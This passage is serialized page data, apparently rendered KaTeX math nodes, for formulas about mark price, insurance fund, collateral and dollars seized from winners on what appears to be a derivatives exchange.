,"children":165035},{"className":165034},[8053],[165036,165042],{"type":22,"tag":101,"props":165037,"children":165039},{"className":165038,"style":96554},[8053,25575],[165040],{"type":27,"value":165041},"D",{"type":22,"tag":101,"props":165043,"children":165045},{"className":165044},[8069],[165046],{"type":22,"tag":101,"props":165047,"children":165049},{"className":165048},[8074,25629],[165050,165079],{"type":22,"tag":101,"props":165051,"children":165053},{"className":165052},[8079],[165054,165074],{"type":22,"tag":101,"props":165055,"children":165057},{"className":165056,"style":146109},[8084],[165058],{"type":22,"tag":101,"props":165059,"children":165060},{"style":113553},[165061,165065],{"type":22,"tag":101,"props":165062,"children":165064},{"className":165063,"style":8094},[8093],[],{"type":22,"tag":101,"props":165066,"children":165068},{"className":165067},[8099,8100,8101,8102],[165069],{"type":22,"tag":101,"props":165070,"children":165072},{"className":165071,"style":25576},[8053,25575,8102],[165073],{"type":27,"value":840},{"type":22,"tag":101,"props":165075,"children":165077},{"className":165076},[25732],[165078],{"type":27,"value":25735},{"type":22,"tag":101,"props":165080,"children":165082},{"className":165081},[8079],[165083],{"type":22,"tag":101,"props":165084,"children":165086},{"className":165085,"style":96637},[8084],[165087],{"type":22,"tag":101,"props":165088,"children":165089},{},[],{"type":22,"tag":101,"props":165091,"children":165093},{"style":165092},"top:4.8901em;",[165094,165098],{"type":22,"tag":101,"props":165095,"children":165097},{"className":165096,"style":164454},[8093],[],{"type":22,"tag":101,"props":165099,"children":165101},{"className":165100},[8053],[165102],{"type":22,"tag":101,"props":165103,"children":165105},{"className":165104},[8053],[165106,165112],{"type":22,"tag":101,"props":165107,"children":165109},{"className":165108,"style":98562},[8053,25575],[165110],{"type":27,"value":165111},"U",{"type":22,"tag":101,"props":165113,"children":165115},{"className":165114},[8069],[165116],{"type":22,"tag":101,"props":165117,"children":165119},{"className":165118},[8074,25629],[165120,165150],{"type":22,"tag":101,"props":165121,"children":165123},{"className":165122},[8079],[165124,165145],{"type":22,"tag":101,"props":165125,"children":165127},{"className":165126,"style":146109},[8084],[165128],{"type":22,"tag":101,"props":165129,"children":165131},{"style":165130},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[165132,165136],{"type":22,"tag":101,"props":165133,"children":165135},{"className":165134,"style":8094},[8093],[],{"type":22,"tag":101,"props":165137,"children":165139},{"className":165138},[8099,8100,8101,8102],[165140],{"type":22,"tag":101,"props":165141,"children":165143},{"className":165142,"style":25576},[8053,25575,8102],[165144],{"type":27,"value":840},{"type":22,"tag":101,"props":165146,"children":165148},{"className":165147},[25732],[165149],{"type":27,"value":25735},{"type":22,"tag":101,"props":165151,"children":165153},{"className":165152},[8079],[165154],{"type":22,"tag":101,"props":165155,"children":165157},{"className":165156,"style":96637},[8084],[165158],{"type":22,"tag":101,"props":165159,"children":165160},{},[],{"type":22,"tag":101,"props":165162,"children":165164},{"style":165163},"top:7.3078em;",[165165,165169],{"type":22,"tag":101,"props":165166,"children":165168},{"className":165167,"style":164454},[8093],[],{"type":22,"tag":101,"props":165170,"children":165172},{"className":165171},[8053],[165173],{"type":22,"tag":101,"props":165174,"children":165176},{"className":165175},[8053],[165177,165182],{"type":22,"tag":101,"props":165178,"children":165180},{"className":165179,"style":126331},[8053,25575],[165181],{"type":27,"value":126334},{"type":22,"tag":101,"props":165183,"children":165185},{"className":165184},[8069],[165186],{"type":22,"tag":101,"props":165187,"children":165189},{"className":165188},[8074,25629],[165190,165221],{"type":22,"tag":101,"props":165191,"children":165193},{"className":165192},[8079],[165194,165216],{"type":22,"tag":101,"props":165195,"children":165198},{"className":165196,"style":165197},[8084],"height:0.2806em;",[165199],{"type":22,"tag":101,"props":165200,"children":165202},{"style":165201},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[165203,165207],{"type":22,"tag":101,"props":165204,"children":165206},{"className":165205,"style":8094},[8093],[],{"type":22,"tag":101,"props":165208,"children":165210},{"className":165209},[8099,8100,8101,8102],[165211],{"type":22,"tag":101,"props":165212,"children":165214},{"className":165213},[8053,25575,8102],[165215],{"type":27,"value":25717},{"type":22,"tag":101,"props":165217,"children":165219},{"className":165218},[25732],[165220],{"type":27,"value":25735},{"type":22,"tag":101,"props":165222,"children":165224},{"className":165223},[8079],[165225],{"type":22,"tag":101,"props":165226,"children":165228},{"className":165227,"style":96637},[8084],[165229],{"type":22,"tag":101,"props":165230,"children":165231},{},[],{"type":22,"tag":101,"props":165233,"children":165235},{"className":165234},[25732],[165236],{"type":27,"value":25735},{"type":22,"tag":101,"props":165238,"children":165240},{"className":165239},[8079],[165241],{"type":22,"tag":101,"props":165242,"children":165245},{"className":165243,"style":165244},[8084],"height:11.3392em;",[165246],{"type":22,"tag":101,"props":165247,"children":165248},{},[],{"type":22,"tag":101,"props":165250,"children":165252},{"className":165251},[163368],[165253],{"type":22,"tag":101,"props":165254,"children":165256},{"className":165255},[8074,25629],[165257,166959],{"type":22,"tag":101,"props":165258,"children":165260},{"className":165259},[8079],[165261,166954],{"type":22,"tag":101,"props":165262,"children":165264},{"className":165263,"style":164445},[8084],[165265,165303,165341,165488,165723,165878,165983,166026,166247,166406,166596,166748],{"type":22,"tag":101,"props":165266,"children":165267},{"style":164449},[165268,165272],{"type":22,"tag":101,"props":165269,"children":165271},{"className":165270,"style":164454},[8093],[],{"type":22,"tag":101,"props":165273,"children":165275},{"className":165274},[8053],[165276,165280,165284,165289,165293],{"type":22,"tag":101,"props":165277,"children":165279},{"className":165278},[8053],[],{"type":22,"tag":101,"props":165281,"children":165283},{"className":165282,"style":8231},[8133],[],{"type":22,"tag":101,"props":165285,"children":165287},{"className":165286},[8236],[165288],{"type":27,"value":25594},{"type":22,"tag":101,"props":165290,"children":165292},{"className":165291,"style":8231},[8133],[],{"type":22,"tag":101,"props":165294,"children":165296},{"className":165295},[8053,27],[165297],{"type":22,"tag":101,"props":165298,"children":165300},{"className":165299},[8053],[165301],{"type":27,"value":165302},"mark price",{"type":22,"tag":101,"props":165304,"children":165305},{"style":164520},[165306,165310],{"type":22,"tag":101,"props":165307,"children":165309},{"className":165308,"style":164454},[8093],[],{"type":22,"tag":101,"props":165311,"children":165313},{"className":165312},[8053],[165314,165318,165322,165327,165331],{"type":22,"tag":101,"props":165315,"children":165317},{"className":165316},[8053],[],{"type":22,"tag":101,"props":165319,"children":165321},{"className":165320,"style":8231},[8133],[],{"type":22,"tag":101,"props":165323,"children":165325},{"className":165324},[8236],[165326],{"type":27,"value":25594},{"type":22,"tag":101,"props":165328,"children":165330},{"className":165329,"style":8231},[8133],[],{"type":22,"tag":101,"props":165332,"children":165334},{"className":165333},[8053,27],[165335],{"type":22,"tag":101,"props":165336,"children":165338},{"className":165337},[8053],[165339],{"type":27,"value":165340},"insurance fund",{"type":22,"tag":101,"props":165342,"children":165343},{"style":164537},[165344,165348],{"type":22,"tag":101,"props":165345,"children":165347},{"className":165346,"style":164454},[8093],[],{"type":22,"tag":101,"props":165349,"children":165351},{"className":165350},[8053],[165352,165356,165360,165365,165369,165379,165383,165388,165392],{"type":22,"tag":101,"props":165353,"children":165355},{"className":165354},[8053],[],{"type":22,"tag":101,"props":165357,"children":165359},{"className":165358,"style":8231},[8133],[],{"type":22,"tag":101,"props":165361,"children":165363},{"className":165362},[8236],[165364],{"type":27,"value":25594},{"type":22,"tag":101,"props":165366,"children":165368},{"className":165367,"style":8231},[8133],[],{"type":22,"tag":101,"props":165370,"children":165372},{"className":165371},[8053,27],[165373],{"type":22,"tag":101,"props":165374,"children":165376},{"className":165375},[8053],[165377],{"type":27,"value":165378},"collateral",{"type":22,"tag":101,"props":165380,"children":165382},{"className":165381,"style":8231},[8133],[],{"type":22,"tag":101,"props":165384,"children":165386},{"className":165385},[8236],[165387],{"type":27,"value":1511},{"type":22,"tag":101,"props":165389,"children":165391},{"className":165390,"style":8231},[8133],[],{"type":22,"tag":101,"props":165393,"children":165395},{"className":165394},[8053],[165396,165400,165484],{"type":22,"tag":101,"props":165397,"children":165399},{"className":165398},[25704,117072],[],{"type":22,"tag":101,"props":165401,"children":165403},{"className":165402},[117077],[165404],{"type":22,"tag":101,"props":165405,"children":165407},{"className":165406},[8074,25629],[165408,165473],{"type":22,"tag":101,"props":165409,"children":165411},{"className":165410},[8079],[165412,165468],{"type":22,"tag":101,"props":165413,"children":165416},{"className":165414,"style":165415},[8084],"height:1.3714em;",[165417,165437,165448],{"type":22,"tag":101,"props":165418,"children":165419},{"style":162663},[165420,165424],{"type":22,"tag":101,"props":165421,"children":165423},{"className":165422,"style":115725},[8093],[],{"type":22,"tag":101,"props":165425,"children":165427},{"className":165426},[8053],[165428],{"type":22,"tag":101,"props":165429,"children":165431},{"className":165430},[8053,27],[165432],{"type":22,"tag":101,"props":165433,"children":165435},{"className":165434},[8053],[165436],{"type":27,"value":162700},{"type":22,"tag":101,"props":165438,"children":165439},{"style":117127},[165440,165444],{"type":22,"tag":101,"props":165441,"children":165443},{"className":165442,"style":115725},[8093],[],{"type":22,"tag":101,"props":165445,"children":165447},{"className":165446,"style":117137},[117136],[],{"type":22,"tag":101,"props":165449,"children":165450},{"style":162714},[165451,165455],{"type":22,"tag":101,"props":165452,"children":165454},{"className":165453,"style":115725},[8093],[],{"type":22,"tag":101,"props":165456,"children":165458},{"className":165457},[8053],[165459],{"type":22,"tag":101,"props":165460,"children":165462},{"className":165461},[8053,27],[165463],{"type":22,"tag":101,"props":165464,"children":165466},{"className":165465},[8053],[165467],{"type":27,"value":162739},{"type":22,"tag":101,"props":165469,"children":165471},{"className":165470},[25732],[165472],{"type":27,"value":25735},{"type":22,"tag":101,"props":165474,"children":165476},{"className":165475},[8079],[165477],{"type":22,"tag":101,"props":165478,"children":165480},{"className":165479,"style":162757},[8084],[165481],{"type":22,"tag":101,"props":165482,"children":165483},{},[],{"type":22,"tag":101,"props":165485,"children":165487},{"className":165486},[25726,117072],[],{"type":22,"tag":101,"props":165489,"children":165490},{"style":164606},[165491,165495],{"type":22,"tag":101,"props":165492,"children":165494},{"className":165493,"style":164454},[8093],[],{"type":22,"tag":101,"props":165496,"children":165498},{"className":165497},[8053],[165499,165503,165507,165512,165516,165573,165577,165582,165586,165591,165648,165652,165657,165661,165718],{"type":22,"tag":101,"props":165500,"children":165502},{"className":165501},[8053],[],{"type":22,"tag":101,"props":165504,"children":165506},{"className":165505,"style":8231},[8133],[],{"type":22,"tag":101,"props":165508,"children":165510},{"className":165509},[8236],[165511],{"type":27,"value":1511},{"type":22,"tag":101,"props":165513,"children":165515},{"className":165514,"style":8231},[8133],[],{"type":22,"tag":101,"props":165517,"children":165519},{"className":165518},[8053],[165520,165525],{"type":22,"tag":101,"props":165521,"children":165523},{"className":165522},[8053,25575],[165524],{"type":27,"value":14657},{"type":22,"tag":101,"props":165526,"children":165528},{"className":165527},[8069],[165529],{"type":22,"tag":101,"props":165530,"children":165532},{"className":165531},[8074,25629],[165533,165562],{"type":22,"tag":101,"props":165534,"children":165536},{"className":165535},[8079],[165537,165557],{"type":22,"tag":101,"props":165538,"children":165540},{"className":165539,"style":97083},[8084],[165541],{"type":22,"tag":101,"props":165542,"children":165543},{"style":96610},[165544,165548],{"type":22,"tag":101,"props":165545,"children":165547},{"className":165546,"style":8094},[8093],[],{"type":22,"tag":101,"props":165549,"children":165551},{"className":165550},[8099,8100,8101,8102],[165552],{"type":22,"tag":101,"props":165553,"children":165555},{"className":165554},[8053,25575,8102],[165556],{"type":27,"value":7774},{"type":22,"tag":101,"props":165558,"children":165560},{"className":165559},[25732],[165561],{"type":27,"value":25735},{"type":22,"tag":101,"props":165563,"children":165565},{"className":165564},[8079],[165566],{"type":22,"tag":101,"props":165567,"children":165569},{"className":165568,"style":96637},[8084],[165570],{"type":22,"tag":101,"props":165571,"children":165572},{},[],{"type":22,"tag":101,"props":165574,"children":165576},{"className":165575,"style":8134},[8133],[],{"type":22,"tag":101,"props":165578,"children":165580},{"className":165579},[8139],[165581],{"type":27,"value":114816},{"type":22,"tag":101,"props":165583,"children":165585},{"className":165584,"style":8134},[8133],[],{"type":22,"tag":101,"props":165587,"children":165589},{"className":165588},[25704],[165590],{"type":27,"value":980},{"type":22,"tag":101,"props":165592,"children":165594},{"className":165593},[8053],[165595,165600],{"type":22,"tag":101,"props":165596,"children":165598},{"className":165597,"style":25576},[8053,25575],[165599],{"type":27,"value":25579},{"type":22,"tag":101,"props":165601,"children":165603},{"className":165602},[8069],[165604],{"type":22,"tag":101,"props":165605,"children":165607},{"className":165606},[8074,25629],[165608,165637],{"type":22,"tag":101,"props":165609,"children":165611},{"className":165610},[8079],[165612,165632],{"type":22,"tag":101,"props":165613,"children":165615},{"className":165614,"style":112986},[8084],[165616],{"type":22,"tag":101,"props":165617,"children":165618},{"style":164487},[165619,165623],{"type":22,"tag":101,"props":165620,"children":165622},{"className":165621,"style":8094},[8093],[],{"type":22,"tag":101,"props":165624,"children":165626},{"className":165625},[8099,8100,8101,8102],[165627],{"type":22,"tag":101,"props":165628,"children":165630},{"className":165629},[8053,25575,8102],[165631],{"type":27,"value":60400},{"type":22,"tag":101,"props":165633,"children":165635},{"className":165634},[25732],[165636],{"type":27,"value":25735},{"type":22,"tag":101,"props":165638,"children":165640},{"className":165639},[8079],[165641],{"type":22,"tag":101,"props":165642,"children":165644},{"className":165643,"style":96637},[8084],[165645],{"type":22,"tag":101,"props":165646,"children":165647},{},[],{"type":22,"tag":101,"props":165649,"children":165651},{"className":165650,"style":8134},[8133],[],{"type":22,"tag":101,"props":165653,"children":165655},{"className":165654},[8139],[165656],{"type":27,"value":8113},{"type":22,"tag":101,"props":165658,"children":165660},{"className":165659,"style":8134},[8133],[],{"type":22,"tag":101,"props":165662,"children":165664},{"className":165663},[8053],[165665,165670],{"type":22,"tag":101,"props":165666,"children":165668},{"className":165667},[8053,25575],[165669],{"type":27,"value":23},{"type":22,"tag":101,"props":165671,"children":165673},{"className":165672},[8069],[165674],{"type":22,"tag":101,"props":165675,"children":165677},{"className":165676},[8074,25629],[165678,165707],{"type":22,"tag":101,"props":165679,"children":165681},{"className":165680},[8079],[165682,165702],{"type":22,"tag":101,"props":165683,"children":165685},{"className":165684,"style":97083},[8084],[165686],{"type":22,"tag":101,"props":165687,"children":165688},{"style":96610},[165689,165693],{"type":22,"tag":101,"props":165690,"children":165692},{"className":165691,"style":8094},[8093],[],{"type":22,"tag":101,"props":165694,"children":165696},{"className":165695},[8099,8100,8101,8102],[165697],{"type":22,"tag":101,"props":165698,"children":165700},{"className":165699},[8053,25575,8102],[165701],{"type":27,"value":7774},{"type":22,"tag":101,"props":165703,"children":165705},{"className":165704},[25732],[165706],{"type":27,"value":25735},{"type":22,"tag":101,"props":165708,"children":165710},{"className":165709},[8079],[165711],{"type":22,"tag":101,"props":165712,"children":165714},{"className":165713,"style":96637},[8084],[165715],{"type":22,"tag":101,"props":165716,"children":165717},{},[],{"type":22,"tag":101,"props":165719,"children":165721},{"className":165720},[25726],[165722],{"type":27,"value":2261},{"type":22,"tag":101,"props":165724,"children":165725},{"style":164676},[165726,165730],{"type":22,"tag":101,"props":165727,"children":165729},{"className":165728,"style":164454},[8093],[],{"type":22,"tag":101,"props":165731,"children":165733},{"className":165732},[8053],[165734,165738,165742,165747,165751,165808,165812,165817,165821],{"type":22,"tag":101,"props":165735,"children":165737},{"className":165736},[8053],[],{"type":22,"tag":101,"props":165739,"children":165741},{"className":165740,"style":8231},[8133],[],{"type":22,"tag":101,"props":165743,"children":165745},{"className":165744},[8236],[165746],{"type":27,"value":1511},{"type":22,"tag":101,"props":165748,"children":165750},{"className":165749,"style":8231},[8133],[],{"type":22,"tag":101,"props":165752,"children":165754},{"className":165753},[8053],[165755,165760],{"type":22,"tag":101,"props":165756,"children":165758},{"className":165757},[8053,25575],[165759],{"type":27,"value":7187},{"type":22,"tag":101,"props":165761,"children":165763},{"className":165762},[8069],[165764],{"type":22,"tag":101,"props":165765,"children":165767},{"className":165766},[8074,25629],[165768,165797],{"type":22,"tag":101,"props":165769,"children":165771},{"className":165770},[8079],[165772,165792],{"type":22,"tag":101,"props":165773,"children":165775},{"className":165774,"style":97083},[8084],[165776],{"type":22,"tag":101,"props":165777,"children":165778},{"style":96610},[165779,165783],{"type":22,"tag":101,"props":165780,"children":165782},{"className":165781,"style":8094},[8093],[],{"type":22,"tag":101,"props":165784,"children":165786},{"className":165785},[8099,8100,8101,8102],[165787],{"type":22,"tag":101,"props":165788,"children":165790},{"className":165789},[8053,25575,8102],[165791],{"type":27,"value":7774},{"type":22,"tag":101,"props":165793,"children":165795},{"className":165794},[25732],[165796],{"type":27,"value":25735},{"type":22,"tag":101,"props":165798,"children":165800},{"className":165799},[8079],[165801],{"type":22,"tag":101,"props":165802,"children":165804},{"className":165803,"style":96637},[8084],[165805],{"type":22,"tag":101,"props":165806,"children":165807},{},[],{"type":22,"tag":101,"props":165809,"children":165811},{"className":165810,"style":8134},[8133],[],{"type":22,"tag":101,"props":165813,"children":165815},{"className":165814},[8139],[165816],{"type":27,"value":8426},{"type":22,"tag":101,"props":165818,"children":165820},{"className":165819,"style":8134},[8133],[],{"type":22,"tag":101,"props":165822,"children":165824},{"className":165823},[8053],[165825,165830],{"type":22,"tag":101,"props":165826,"children":165828},{"className":165827,"style":97040},[8053,25575],[165829],{"type":27,"value":164625},{"type":22,"tag":101,"props":165831,"children":165833},{"className":165832},[8069],[165834],{"type":22,"tag":101,"props":165835,"children":165837},{"className":165836},[8074,25629],[165838,165867],{"type":22,"tag":101,"props":165839,"children":165841},{"className":165840},[8079],[165842,165862],{"type":22,"tag":101,"props":165843,"children":165845},{"className":165844,"style":97083},[8084],[165846],{"type":22,"tag":101,"props":165847,"children":165848},{"style":97087},[165849,165853],{"type":22,"tag":101,"props":165850,"children":165852},{"className":165851,"style":8094},[8093],[],{"type":22,"tag":101,"props":165854,"children":165856},{"className":165855},[8099,8100,8101,8102],[165857],{"type":22,"tag":101,"props":165858,"children":165860},{"className":165859},[8053,25575,8102],[165861],{"type":27,"value":7774},{"type":22,"tag":101,"props":165863,"children":165865},{"className":165864},[25732],[165866],{"type":27,"value":25735},{"type":22,"tag":101,"props":165868,"children":165870},{"className":165869},[8079],[165871],{"type":22,"tag":101,"props":165872,"children":165874},{"className":165873,"style":96637},[8084],[165875],{"type":22,"tag":101,"props":165876,"children":165877},{},[],{"type":22,"tag":101,"props":165879,"children":165880},{"style":164745},[165881,165885],{"type":22,"tag":101,"props":165882,"children":165884},{"className":165883,"style":164454},[8093],[],{"type":22,"tag":101,"props":165886,"children":165888},{"className":165887},[8053],[165889,165893,165897,165902,165906],{"type":22,"tag":101,"props":165890,"children":165892},{"className":165891},[8053],[],{"type":22,"tag":101,"props":165894,"children":165896},{"className":165895,"style":8231},[8133],[],{"type":22,"tag":101,"props":165898,"children":165900},{"className":165899},[8236],[165901],{"type":27,"value":1511},{"type":22,"tag":101,"props":165903,"children":165905},{"className":165904,"style":8231},[8133],[],{"type":22,"tag":101,"props":165907,"children":165909},{"className":165908},[8053],[165910,165915],{"type":22,"tag":101,"props":165911,"children":165913},{"className":165912,"style":97040},[8053,25575],[165914],{"type":27,"value":164625},{"type":22,"tag":101,"props":165916,"children":165918},{"className":165917},[8069],[165919],{"type":22,"tag":101,"props":165920,"children":165922},{"className":165921},[8074,25629],[165923,165971],{"type":22,"tag":101,"props":165924,"children":165926},{"className":165925},[8079],[165927,165966],{"type":22,"tag":101,"props":165928,"children":165931},{"className":165929,"style":165930},[8084],"height:0.8213em;",[165932,165949],{"type":22,"tag":101,"props":165933,"children":165935},{"style":165934},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[165936,165940],{"type":22,"tag":101,"props":165937,"children":165939},{"className":165938,"style":8094},[8093],[],{"type":22,"tag":101,"props":165941,"children":165943},{"className":165942},[8099,8100,8101,8102],[165944],{"type":22,"tag":101,"props":165945,"children":165947},{"className":165946},[8053,25575,8102],[165948],{"type":27,"value":7774},{"type":22,"tag":101,"props":165950,"children":165952},{"style":165951},"top:-3.113em;margin-right:0.05em;",[165953,165957],{"type":22,"tag":101,"props":165954,"children":165956},{"className":165955,"style":8094},[8093],[],{"type":22,"tag":101,"props":165958,"children":165960},{"className":165959},[8099,8100,8101,8102],[165961],{"type":22,"tag":101,"props":165962,"children":165964},{"className":165963},[8139,8102],[165965],{"type":27,"value":8426},{"type":22,"tag":101,"props":165967,"children":165969},{"className":165968},[25732],[165970],{"type":27,"value":25735},{"type":22,"tag":101,"props":165972,"children":165974},{"className":165973},[8079],[165975],{"type":22,"tag":101,"props":165976,"children":165979},{"className":165977,"style":165978},[8084],"height:0.267em;",[165980],{"type":22,"tag":101,"props":165981,"children":165982},{},[],{"type":22,"tag":101,"props":165984,"children":165985},{"style":164815},[165986,165990],{"type":22,"tag":101,"props":165987,"children":165989},{"className":165988,"style":164454},[8093],[],{"type":22,"tag":101,"props":165991,"children":165993},{"className":165992},[8053],[165994,165998,166002,166007,166011,166021],{"type":22,"tag":101,"props":165995,"children":165997},{"className":165996},[8053],[],{"type":22,"tag":101,"props":165999,"children":166001},{"className":166000,"style":8231},[8133],[],{"type":22,"tag":101,"props":166003,"children":166005},{"className":166004},[8236],[166006],{"type":27,"value":25594},{"type":22,"tag":101,"props":166008,"children":166010},{"className":166009,"style":8231},[8133],[],{"type":22,"tag":101,"props":166012,"children":166014},{"className":166013},[8053,27],[166015],{"type":22,"tag":101,"props":166016,"children":166018},{"className":166017},[8053],[166019],{"type":27,"value":166020},"dollars seized from winner ",{"type":22,"tag":101,"props":166022,"children":166024},{"className":166023},[8053,25575],[166025],{"type":27,"value":7774},{"type":22,"tag":101,"props":166027,"children":166028},{"style":164884},[166029,166033],{"type":22,"tag":101,"props":166030,"children":166032},{"className":166031,"style":164454},[8093],[],{"type":22,"tag":101,"props":166034,"children":166036},{"className":166035},[8053],[166037,166041,166045,166050,166054],{"type":22,"tag":101,"props":166038,"children":166040},{"className":166039},[8053],[],{"type":22,"tag":101,"props":166042,"children":166044},{"className":166043,"style":8231},[8133],[],{"type":22,"tag":101,"props":166046,"children":166048},{"className":166047},[8236],[166049],{"type":27,"value":1511},{"type":22,"tag":101,"props":166051,"children":166053},{"className":166052,"style":8231},[8133],[],{"type":22,"tag":101,"props":166055,"children":166057},{"className":166056},[8053],[166058,166062,166243],{"type":22,"tag":101,"props":166059,"children":166061},{"className":166060},[25704,117072],[],{"type":22,"tag":101,"props":166063,"children":166065},{"className":166064},[117077],[166066],{"type":22,"tag":101,"props":166067,"children":166069},{"className":166068},[8074,25629],[166070,166231],{"type":22,"tag":101,"props":166071,"children":166073},{"className":166072},[8079],[166074,166226],{"type":22,"tag":101,"props":166075,"children":166078},{"className":166076,"style":166077},[8084],"height:1.1076em;",[166079,166147,166158],{"type":22,"tag":101,"props":166080,"children":166081},{"style":162663},[166082,166086],{"type":22,"tag":101,"props":166083,"children":166085},{"className":166084,"style":115725},[8093],[],{"type":22,"tag":101,"props":166087,"children":166089},{"className":166088},[8053],[166090],{"type":22,"tag":101,"props":166091,"children":166093},{"className":166092},[8053],[166094,166099],{"type":22,"tag":101,"props":166095,"children":166097},{"className":166096,"style":125834},[8053,25575],[166098],{"type":27,"value":53568},{"type":22,"tag":101,"props":166100,"children":166102},{"className":166101},[8069],[166103],{"type":22,"tag":101,"props":166104,"children":166106},{"className":166105},[8074,25629],[166107,166136],{"type":22,"tag":101,"props":166108,"children":166110},{"className":166109},[8079],[166111,166131],{"type":22,"tag":101,"props":166112,"children":166114},{"className":166113,"style":97083},[8084],[166115],{"type":22,"tag":101,"props":166116,"children":166117},{"style":164782},[166118,166122],{"type":22,"tag":101,"props":166119,"children":166121},{"className":166120,"style":8094},[8093],[],{"type":22,"tag":101,"props":166123,"children":166125},{"className":166124},[8099,8100,8101,8102],[166126],{"type":22,"tag":101,"props":166127,"children":166129},{"className":166128},[8053,25575,8102],[166130],{"type":27,"value":7774},{"type":22,"tag":101,"props":166132,"children":166134},{"className":166133},[25732],[166135],{"type":27,"value":25735},{"type":22,"tag":101,"props":166137,"children":166139},{"className":166138},[8079],[166140],{"type":22,"tag":101,"props":166141,"children":166143},{"className":166142,"style":96637},[8084],[166144],{"type":22,"tag":101,"props":166145,"children":166146},{},[],{"type":22,"tag":101,"props":166148,"children":166149},{"style":117127},[166150,166154],{"type":22,"tag":101,"props":166151,"children":166153},{"className":166152,"style":115725},[8093],[],{"type":22,"tag":101,"props":166155,"children":166157},{"className":166156,"style":117137},[117136],[],{"type":22,"tag":101,"props":166159,"children":166160},{"style":162714},[166161,166165],{"type":22,"tag":101,"props":166162,"children":166164},{"className":166163,"style":115725},[8093],[],{"type":22,"tag":101,"props":166166,"children":166168},{"className":166167},[8053],[166169],{"type":22,"tag":101,"props":166170,"children":166172},{"className":166171},[8053],[166173,166178],{"type":22,"tag":101,"props":166174,"children":166176},{"className":166175},[8053,25575],[166177],{"type":27,"value":23266},{"type":22,"tag":101,"props":166179,"children":166181},{"className":166180},[8069],[166182],{"type":22,"tag":101,"props":166183,"children":166185},{"className":166184},[8074,25629],[166186,166215],{"type":22,"tag":101,"props":166187,"children":166189},{"className":166188},[8079],[166190,166210],{"type":22,"tag":101,"props":166191,"children":166193},{"className":166192,"style":97083},[8084],[166194],{"type":22,"tag":101,"props":166195,"children":166196},{"style":96610},[166197,166201],{"type":22,"tag":101,"props":166198,"children":166200},{"className":166199,"style":8094},[8093],[],{"type":22,"tag":101,"props":166202,"children":166204},{"className":166203},[8099,8100,8101,8102],[166205],{"type":22,"tag":101,"props":166206,"children":166208},{"className":166207},[8053,25575,8102],[166209],{"type":27,"value":7774},{"type":22,"tag":101,"props":166211,"children":166213},{"className":166212},[25732],[166214],{"type":27,"value":25735},{"type":22,"tag":101,"props":166216,"children":166218},{"className":166217},[8079],[166219],{"type":22,"tag":101,"props":166220,"children":166222},{"className":166221,"style":96637},[8084],[166223],{"type":22,"tag":101,"props":166224,"children":166225},{},[],{"type":22,"tag":101,"props":166227,"children":166229},{"className":166228},[25732],[166230],{"type":27,"value":25735},{"type":22,"tag":101,"props":166232,"children":166234},{"className":166233},[8079],[166235],{"type":22,"tag":101,"props":166236,"children":166239},{"className":166237,"style":166238},[8084],"height:0.836em;",[166240],{"type":22,"tag":101,"props":166241,"children":166242},{},[],{"type":22,"tag":101,"props":166244,"children":166246},{"className":166245},[25726,117072],[],{"type":22,"tag":101,"props":166248,"children":166249},{"style":164953},[166250,166254],{"type":22,"tag":101,"props":166251,"children":166253},{"className":166252,"style":164454},[8093],[],{"type":22,"tag":101,"props":166255,"children":166257},{"className":166256},[8053],[166258,166262,166266,166271,166275,166345,166349],{"type":22,"tag":101,"props":166259,"children":166261},{"className":166260},[8053],[],{"type":22,"tag":101,"props":166263,"children":166265},{"className":166264,"style":8231},[8133],[],{"type":22,"tag":101,"props":166267,"children":166269},{"className":166268},[8236],[166270],{"type":27,"value":1511},{"type":22,"tag":101,"props":166272,"children":166274},{"className":166273,"style":8231},[8133],[],{"type":22,"tag":101,"props":166276,"children":166279},{"className":166277},[25611,166278],"op-limits",[166280],{"type":22,"tag":101,"props":166281,"children":166283},{"className":166282},[8074,25629],[166284,166333],{"type":22,"tag":101,"props":166285,"children":166287},{"className":166286},[8079],[166288,166328],{"type":22,"tag":101,"props":166289,"children":166292},{"className":166290,"style":166291},[8084],"height:1.05em;",[166293,166311],{"type":22,"tag":101,"props":166294,"children":166296},{"style":166295},"top:-1.8723em;margin-left:0em;",[166297,166302],{"type":22,"tag":101,"props":166298,"children":166301},{"className":166299,"style":166300},[8093],"height:3.05em;",[],{"type":22,"tag":101,"props":166303,"children":166305},{"className":166304},[8099,8100,8101,8102],[166306],{"type":22,"tag":101,"props":166307,"children":166309},{"className":166308},[8053,25575,8102],[166310],{"type":27,"value":7774},{"type":22,"tag":101,"props":166312,"children":166314},{"style":166313},"top:-3.05em;",[166315,166319],{"type":22,"tag":101,"props":166316,"children":166318},{"className":166317,"style":166300},[8093],[],{"type":22,"tag":101,"props":166320,"children":166321},{},[166322],{"type":22,"tag":101,"props":166323,"children":166326},{"className":166324},[25611,25616,166325],"large-op",[166327],{"type":27,"value":112349},{"type":22,"tag":101,"props":166329,"children":166331},{"className":166330},[25732],[166332],{"type":27,"value":25735},{"type":22,"tag":101,"props":166334,"children":166336},{"className":166335},[8079],[166337],{"type":22,"tag":101,"props":166338,"children":166341},{"className":166339,"style":166340},[8084],"height:1.2777em;",[166342],{"type":22,"tag":101,"props":166343,"children":166344},{},[],{"type":22,"tag":101,"props":166346,"children":166348},{"className":166347,"style":8172},[8133],[],{"type":22,"tag":101,"props":166350,"children":166352},{"className":166351},[8053],[166353,166358],{"type":22,"tag":101,"props":166354,"children":166356},{"className":166355},[8053,25575],[166357],{"type":27,"value":23266},{"type":22,"tag":101,"props":166359,"children":166361},{"className":166360},[8069],[166362],{"type":22,"tag":101,"props":166363,"children":166365},{"className":166364},[8074,25629],[166366,166395],{"type":22,"tag":101,"props":166367,"children":166369},{"className":166368},[8079],[166370,166390],{"type":22,"tag":101,"props":166371,"children":166373},{"className":166372,"style":97083},[8084],[166374],{"type":22,"tag":101,"props":166375,"children":166376},{"style":96610},[166377,166381],{"type":22,"tag":101,"props":166378,"children":166380},{"className":166379,"style":8094},[8093],[],{"type":22,"tag":101,"props":166382,"children":166384},{"className":166383},[8099,8100,8101,8102],[166385],{"type":22,"tag":101,"props":166386,"children":166388},{"className":166387},[8053,25575,8102],[166389],{"type":27,"value":7774},{"type":22,"tag":101,"props":166391,"children":166393},{"className":166392},[25732],[166394],{"type":27,"value":25735},{"type":22,"tag":101,"props":166396,"children":166398},{"className":166397},[8079],[166399],{"type":22,"tag":101,"props":166400,"children":166402},{"className":166401,"style":96637},[8084],[166403],{"type":22,"tag":101,"props":166404,"children":166405},{},[],{"type":22,"tag